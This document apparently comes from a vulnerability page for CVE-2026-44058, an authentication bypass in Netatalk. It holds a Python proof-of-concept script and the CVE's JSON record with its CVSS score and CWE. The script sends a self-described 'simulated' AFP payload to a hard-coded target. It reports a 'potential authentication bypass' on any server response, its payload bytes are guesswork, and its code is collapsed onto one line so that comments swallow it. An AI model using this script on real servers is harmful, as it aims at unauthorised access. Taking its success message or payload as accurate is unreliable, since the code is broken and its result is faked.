CVE-2026-44058

#!/usr/bin/env python3 # PoC for CVE-2026-44058 Netatalk Authentication Bypass # This script demonstrates the concept of exploiting the admin auth user mechanism. # Note: This requires a valid privileged user credential to trigger the bypass. import socket TARGET_IP = "192.168.1.100" TARGET_PORT = 548 # Default AFP port def send_malicious_afp_request(target_ip, target_port): try: # Establish connection to the Netatalk server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # AFP Header construction (Simplified) # In a real exploit, specific AFP command bytes (e.g., FPLogin) would be crafted. # The vulnerability lies in the 'admin auth user' parameter handling. # Simulating the payload that triggers the bypass # Payload structure: [AFP_Command][Flags][UserID_Length][UserID] # Exploit: Force UserID to 'root' or target user using admin context payload = b"\x00\x04\x00\x01\x00\x00" + b"admin" + b"\x00" + b"target_user" s.send(payload) print("[+] Malicious payload sent via admin auth user mechanism") # Receive response response = s.recv(1024) if response: print(f"[+] Server response: {response}") print("[+] Potential authentication bypass successful.") else: print("[-] No response received.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_malicious_afp_request(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-44058", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.353", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication bypass vulnerability in Netatalk 2.2.2 through 4.4.2 allows a remote privileged user to authenticate as an arbitrary user via the admin auth user mechanism."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44058", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}